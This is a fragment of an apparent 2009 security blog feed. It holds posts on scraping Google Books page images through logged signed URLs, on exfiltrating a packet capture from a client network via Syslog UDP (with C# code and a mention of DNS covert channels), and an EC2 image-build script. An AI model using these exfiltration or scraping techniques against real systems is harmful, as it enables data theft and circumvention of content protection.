0);"&gt;{"page":[{"pid":"PR21","src":"http://books.google.com/books?id=kq2dBNdAl3IC\x26pg=PR21\x26img=1\x26zoom=3\x26hl=en\x26sig=ACfU3U2ydqAZXhIBKIH1XKTJhS4Ay2IXkg","highlights":[{"X":370,"Y":51,"W":26,"H":11},{"X":139,"Y":93,"W":19,"H":10},{"X":218,"Y":119,"W":19,"H":10},{"X":352,"Y":186,"W":26,"H":11},{"X":230,"Y":214,"W":25,"H":11},{"X":417,"Y":255,"W":26,"H":11},{"X":493,"Y":269,"W":23,"H":11},{"X":370,"Y":449,"W":25,"H":11},{"X":402,"Y":490,"W":26,"H":11},{"X":139,"Y":585,"W":22,"H":11},{"X":320,"Y":614,"W":23,"H":11},{"X":146,"Y":681,"W":21,"H":9},{"X":158,"Y":690,"W":20,"H":9},{"X":139,"Y":699,"W":20,"H":9}],"flags":0,"order":22,"uf":"http://books.google.com/books_feedback?id=kq2dBNdAl3IC\x26spid=ygOBAha9Lj5wEmJbb7L0E4AMedYBAAAAEwAAAAvsLgsil0rRCj9QbBB0CmBqRC_Lik05VtZnyTK-XBfQ\x26ftype=0","vq":"ruby by&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;..... Many more goes here.&lt;br /&gt;&lt;br /&gt;This blob is processed by and obfuscated long-name JS file which puts into the DOM and renders in the browser. Let's say it's irrelevant at the moment.&lt;br /&gt;&lt;br /&gt;Look at  the following snippet  from JSON response:&lt;br /&gt;&lt;br /&gt;&lt;code style="color: rgb(51, 204, 0);"&gt;&lt;br /&gt;"src":"http://books.google.com/books?id=kq2dBNdAl3IC\x26pg=PR21\x26img=1\x26zoom=3\x26hl=en\x26sig=ACfU3U2ydqAZXhIBKIH1XKTJhS4Ay2IXkg&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;OK, &lt;span style="color: rgb(0, 204, 204);"&gt;\x26&lt;/span&gt; is really &lt;span style="color: rgb(0, 204, 204);"&gt;&amp;amp;&lt;/span&gt;. Otherwise, it's a valid url 3-time zoomed image of page 21 of  the book &lt;span style="color: rgb(51, 204, 0);"&gt;id=kq2dBNdAl3IC&lt;/span&gt; .&lt;br /&gt;&lt;br /&gt;Also there is a dynamic signature of the page at the end: &lt;code style="color: rgb(51, 204, 0);"&gt;sig=ACfU3U2ydqAZXhIBKIH1XKTJhS4Ay2IXkg&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Every page of this book has different signature. However, look at the following 2 requests:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA102&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U0j7KKM_nSZ5HTwPQxpka2gDwJFsQ&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA103&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U2itwtHSRsi3gGA_1uqDFYlX76BqA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;There is a non-random element at the beginning of the payload. I am not going to go into how we can try and brute force or fuzz the signature  here, or how to read client-side JS file to figure out what that signature consists of. The point is that the content navigation is not tied to  session cookies or any other UI navigation data. Simple GET on the URL fetches the image of a page.&lt;br /&gt;&lt;br /&gt;All you have to do now it to set  your favorite web proxy to log URLs  for JPEGs  conforming to "&lt;span style="color: rgb(255, 204, 0);"&gt;.*sig=ACfU3U.*&lt;/span&gt;" and iterate the pages.  You don't even need to capture the  content yet.&lt;br /&gt;&lt;br /&gt;Google does the job of fetching all the pages once you start mouse-scrolling in the book DIV. So you scroll through the whole book, then you go to you proxy log and pick up the following records (substituting the \x26  -&gt; &amp;amp; ).&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA102&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U0j7KKM_nSZ5HTwPQxpka2gDwJFsQ&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA103&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U2itwtHSRsi3gGA_1uqDFYlX76BqA&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA105&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U0SJesKmEQ2HUl2ntgNVBIrLK7UHQ&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA106&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U3i-gOkxdtYfeGLd7CFsRGZiPnT_Q&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA107&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U0FbGnYvyAY2T6uGV9rA-bY0J4cvw&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA10&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U3B0rfiUmevGsmVHgLEDN3sxANqkg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA11&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U3uXbNxXALDKMG-OZ2bEGVlzN3JaA&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA13&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U0Bb32Lu4L9KzlCRS1gbURVfNcklA&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA14&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U1HVLZyKZBfm9y01Ly-Lp6AEo7B8Q&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA15&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U3aVGlHL9Sph_ttbm7tfSWVNyyFMQ&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;http://books.google.com/books?id=kq2dBNdAl3IC&amp;amp;pg=PA16&amp;amp;img=1&amp;amp;zoom=3&amp;amp;hl=en&amp;amp;sig=ACfU3U1CFrpu9LiQwuS1HIcsYu6qBrNppg&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;You now plug it into the script (curl will do, so will wget) to fetch the book's content.&lt;br /&gt;&lt;br /&gt;Now, I have not researched it enough, but I wonder if Watir or Selenium, or other browser automation frameworks can scroll the content for you and automate the process altogether.&lt;br /&gt;&lt;br /&gt;I don't encourage anyone to actually copy Google's content - go buy the book if you like it, because the people who suffer most from copying are the authors.&lt;br /&gt;However, the idea here is - how does Google plan to protect my data tomorrow if it cannot protect something it makes money on today.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7169594305396268349-5489402661106803178?l=techmeditation.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techmeditation.blogspot.com/feeds/5489402661106803178/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techmeditation.blogspot.com/2009/06/google-books-spidering.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/5489402661106803178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/5489402661106803178'/><link rel='alternate' type='text/html' href='http://techmeditation.blogspot.com/2009/06/google-books-spidering.html' title='Google Books Spidering'/><author><name>snow</name><uri>http://www.blogger.com/profile/16189571007580617159</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7169594305396268349.post-8291505799332834934</id><published>2009-06-01T19:39:00.000-07:00</published><updated>2009-06-01T20:53:12.412-07:00</updated><title type='text'>Pcap2Syslog for .NET or Stuck transferring PCAP over UDP</title><content type='html'>I was recently in a situation where I wanted to transfer some fairly large .pcap file (1GB) from the internal network as part of the engagement. I did have direct HTTP connectivity to the outside (proxied and monitored for illegal sites) so I tried HTTP uploads but for some reason my transfers were getting dropped after about 5 megs  into the transfer.  I had no control over the issue and frankly I did not want to go even deeper than I already was. I think I was in the "3rd" tier with all nice policies applied to users like me so we are not able to waste company's  time surfing the internet :)   Anyway, all I had was DNS outbound for resolution, crippled HTTP and a Syslog. Don;t ask me why Syslog was enabled to the internet. Probably for monitoring or data collection purposes for manged service provider or something like that.&lt;br /&gt;&lt;br /&gt;I started thinking of chopping my pcap into smaller chunks and doing the upload. I knew exactly what I would do on  *nix and had scripts made for similar purpose but I happened to be on  Windows and did not readily know what tools I would use.&lt;br /&gt;&lt;br /&gt;So DNS or Syslog?&lt;br /&gt;&lt;br /&gt;I did not yet research tools to allow me to chop up some binary data (such as PCAP), package them in smaller chunks ( Base 64 or not ) and shove them over DNS tunnel. I am sure they do exist and most likely many smart folks out there can point me to the ones they prefer.  To date, I was ok bypassing content filtering with XML/RPC streams over HTTP(S). Not this time though.&lt;br /&gt;&lt;br /&gt;Syslog? Well, it is foreign to Windows to begin with... What are the chances of getting the right tools fast enough to parse PCAP and transform them into syslog messages. I gather there would be enough dependencies to deter me ( or detect my activities) from doing so. Yeah, Cygwin comes to mind..&lt;br /&gt;&lt;br /&gt;OK, start thinking outside the box. I have VS2008 so I have access to .Net libraries. But what can parse PCAP and which library can generate syslog messages? Well Syslog is a simple protocol and message generation can be accomplished with  plain Sockets, something like&lt;a href="http://www.eggheadcafe.com/articles/20050212.asp"&gt; this. &lt;/a&gt;&lt;br /&gt;Indeed, all you need is&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;using System.Net;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;using System.Net.Sockets;&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;and in a nutshell:&lt;br /&gt;&lt;br /&gt;1. Instantiate UDP transport&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;udp = new UdpClient(ipAddress, 514);&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;2. Build Syslog String according to the RFC:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;string[] strParams = { priority.ToString()+": ", time.ToString("MMM dd HH:mm:ss "),&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;         machine,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;         body };&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;3. Send the chunk out.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;rawMsg = ascii.GetBytes(string.Concat(strParams));&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;udp.Send(rawMsg, rawMsg.Length);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;udp.Close();&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Answer to the first question came in the form of  &lt;a href="http://sourceforge.net/projects/sharppcap"&gt;Sharppcap&lt;/a&gt; . It;s a standalone assembly which lives in&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;Tamir.IPLib.SharpPcap.dll.&lt;/span&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;using System;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;using System.Text;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;using System.IO;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;using Tamir.IPLib;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;using Tamir.IPLib.Packets;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Since It can read pcaps offline I can do the following:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;//Get an offline file pcap device&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;device = SharpPcap.GetPcapOfflineDevice(capFile);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;//Open the device for capturing&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;device.PcapOpen();&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Then, of course, you can iterate through packets like so:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;while ((packet = device.PcapGetNextPacket()) != null)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;          &lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;   DateTime ptime = packet.PcapHeader.Date;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;   int plen = packet.PcapHeader.PacketLength;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;   // Prints the time and length of each received packet to debug&lt;/span&gt;&lt;br /&gt; Console.Write("{0}/{1}/{2} - {3}:{4}:{5}",&lt;br /&gt; &lt;span style="color: rgb(51, 204, 0);"&gt;ptime.Day, ptime.Month, ptime.Year, ptime.Hour, ptime.Minute, ptime.Second);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;   StringBuilder sbuilder = new StringBuilder();&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;// Append to Message builder&lt;/span&gt;&lt;br /&gt; sbuilder.Append(&lt;insert&gt;)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;// Either Call Syslog routines from above here,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;  // or call Syslog classes from here.&lt;/span&gt;&lt;br /&gt;}&lt;br /&gt;   &lt;br /&gt;&lt;/insert&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you want to send based on filters, only what you want out of the PCAP (say, communication map to and from the host over UDP), then in a while loop you can introduce more laborate processing.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;if (packet is UDPPacket) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;DateTime time = packet.Timeval.Date;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;int ulen = packet.PcapHeader.PacketLength;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;UDPPacket udp = (UDPPacket)packet;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;string srcIp = udp.SourceAddress;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;string dstIp = udp.DestinationAddress;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;int srcPort = udp.SourcePort;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;int dstPort = udp.DestinationPort;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;Console.WriteLine(" UDP {0}:{1} -&gt; {2}:{3}", srcIp, srcPort, dstIp, dstPort);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; sbuilder.Append(String.Format(" UDP {0}:{1} -&gt; {2}:{3}",&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;  srcIp, srcPort, dstIp, dstPort));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;// Append to Message builder here if you want&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;sbuilder.Append(&lt;/span&gt;&lt;insert&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;// Either Call Syslog routines from above here,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;// or call Syslog classes from here.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;}                  }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I turned out better than I expected. I filtered what I needed for further analysis, and my partially "interesting" data was sent in short messages over Syslog outbound.&lt;br /&gt;&lt;br /&gt;Next, I should really look at DNS covert channels. If anyone has suggestions on tools, please let me know.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/insert&gt;&lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7169594305396268349-8291505799332834934?l=techmeditation.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techmeditation.blogspot.com/feeds/8291505799332834934/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techmeditation.blogspot.com/2009/06/pcap2syslog-for-net-or-stuck.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/8291505799332834934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/8291505799332834934'/><link rel='alternate' type='text/html' href='http://techmeditation.blogspot.com/2009/06/pcap2syslog-for-net-or-stuck.html' title='Pcap2Syslog for .NET or Stuck transferring PCAP over UDP'/><author><name>snow</name><uri>http://www.blogger.com/profile/16189571007580617159</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7169594305396268349.post-5310363076959253199</id><published>2009-05-28T13:42:00.000-07:00</published><updated>2009-05-28T14:09:34.988-07:00</updated><title type='text'>Automating AMI builds for Amazon EC2</title><content type='html'>I started to use Amazon EC2 cloud for penetration tests. Besides having short-term (costs money) scalable processing power for various tasks it also enables me to care less if automated IPS response blocks my IP. I can always bring up another instance...&lt;br /&gt;&lt;br /&gt;Provisioning new instances is not hard. There's now AWS console to take advantage of. Useful and pretty. What's been bugging me is that the EC2 images are snapshots of system configuration that revert back to known configuration.  So if I apt-get my system and/or download some software I have to rebuild the image so I don;t loose the work.  Yes I can mount S3 persistent storage drive and "try" to install all my software there; and then just move it between instances as I bring them up. However it may not work for me all the time. I want to have an (semi)-automated way of  "fixating" changes I make to core system and staring new instances with updated image.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So here is somewhat automated way of building Amazon EC2 AMIs.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;#!/bin/bash&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;usage(){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;  echo "ERROR: arguments &lt;span style="color: rgb(0, 204, 204);"&gt;&lt;dest&gt; &lt;name&gt;&lt;/name&gt;&lt;/dest&gt;&lt;/span&gt;" &lt;/span&gt;&lt;dest host=""&gt;&lt;name of="" new="" snapshot=""&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;} &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_HOST="$1"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_SNAPSHOT="$2"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;# Environment&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_HOME=/usr/local/ec2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_PRIVATE_KEYF=pk-RKxxxxxxxxxxxxxxxxxxxxxx.pem&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_PRIVATE_KEY=$EC2_HOME/pk-RKxxxxxxxxxxxxxxxxxxxxxxx.pem&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_CERTF=cert-RKxxxxxxxxxxxxxxxxxxxxxxxxx.pem&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_CERT=$EC2_HOME/cert-RKxxxxxxxxxxxxxxxxxxxxxxxxxx.pem&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_HOST_DIR="/mnt"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_RSA="$EC2_HOME/id_rsa-dxs-keypair"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_ACCT=2245946456456456&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_DEFAULT_ARCH=i386&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;S3_BUCKET="dxs-yZksjhflsaudhflkajsdf"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_ACCESSKEY="05HAPBln3245jk32j45"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;EC2_SECKEY="pdyyyyyyyyyyyyyyyyyyyyyyyyyyy"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;if [[ $# -ne 2 ]]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;then &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        usage &amp;amp;&amp;amp; exit 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;fi &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; &lt;span style="color: rgb(0, 204, 204);"&gt;echo "[*] Going to $EC2_HOME"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    cd $EC2_HOME&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; &lt;span style="color: rgb(0, 204, 204);"&gt;echo "[*] Copying [PRIV] and [CERT] from  $EC2_HOME to $EC2_HOST"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    scp -i  $EC2_RSA $EC2_CERT $EC2_PRIVATE_KEY  root@$EC2_HOST:$EC2_HOST_DIR&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; &lt;span style="color: rgb(0, 204, 204);"&gt;echo "[*] Building AMI $EC2_SNAPSHOT  to  $EC2_HOST_DIR"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     ssh -i $EC2_RSA root@$EC2_HOST   \ &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     "EC2_HOME=$EC2_HOME $EC2_HOME/bin/ec2-bundle-vol -d $EC2_HOST_DIR -k \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     $EC2_HOST_DIR/$EC2_PRIVATE_KEYF \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     -c  $EC2_HOST_DIR/$EC2_CERTF -u $EC2_ACCT -r $EC2_DEFAULT_ARCH -p $EC2_SNAPSHOT"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; &lt;span style="color: rgb(0, 204, 204);"&gt;echo "[*] Uploading  AMI $EC2_SNAPSHOT  to  S3"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     ssh -i $EC2_RSA root@$EC2_HOST   "EC2_HOME=$EC2_HOME $EC2_HOME/bin/ec2-upload-bundle \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     -b $S3_BUCKET -m $EC2_HOST_DIR/${EC2_SNAPSHOT}.manifest.xml -a $EC2_ACCESSKEY -s \&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     $EC2_SECKEY"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 204, 204);"&gt; echo "[*]  Checking S3 bucket"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     /usr/bin/s3cmd  ls  s3://$S3_BUCKET&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; &lt;span style="color: rgb(0, 204, 204);"&gt;echo "[*]  Currently Registered Instances"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     $EC2_HOME/bin/ec2-describe-images&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; &lt;span style="color: rgb(0, 204, 204);"&gt;echo "[*]  Registering Instance ${EC2_SNAPSHOT} "&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     $EC2_HOME/bin/ec2-register $S3_BUCKET/${EC2_SNAPSHOT}.manifest.xml&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; &lt;span style="color: rgb(0, 204, 204);"&gt;echo "[*]  Newly  Registered Instances"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     $EC2_HOME/bin/ec2-describe-images If &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/name&gt;&lt;/dest&gt;&lt;/code&gt; You may need to fetch Amazon AMI Tools and creating AMI build environment&lt;br /&gt;on EC2 instance if you don;t have it yet.&lt;br /&gt;&lt;code&gt;&lt;dest host=""&gt;&lt;name of="" new="" snapshot=""&gt;&lt;br /&gt;&lt;/name&gt;&lt;/dest&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;#echo "[*] Getting ec2-ami-tools from AMAZON"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     wget http://s3.amazonaws.com/ec2-downloads/ec2-ami-tools.zip -o /tmp/ec2-ami-tools.zip&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;     #echo "[*] Getting ec2-ami-tools to $EC2_HOST"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     scp -i  $EC2_RSA /tmp/ec2-ami-tools.zip   root@$EC2_HOST:$EC2_HOST_DIR&lt;/span&gt;&lt;br 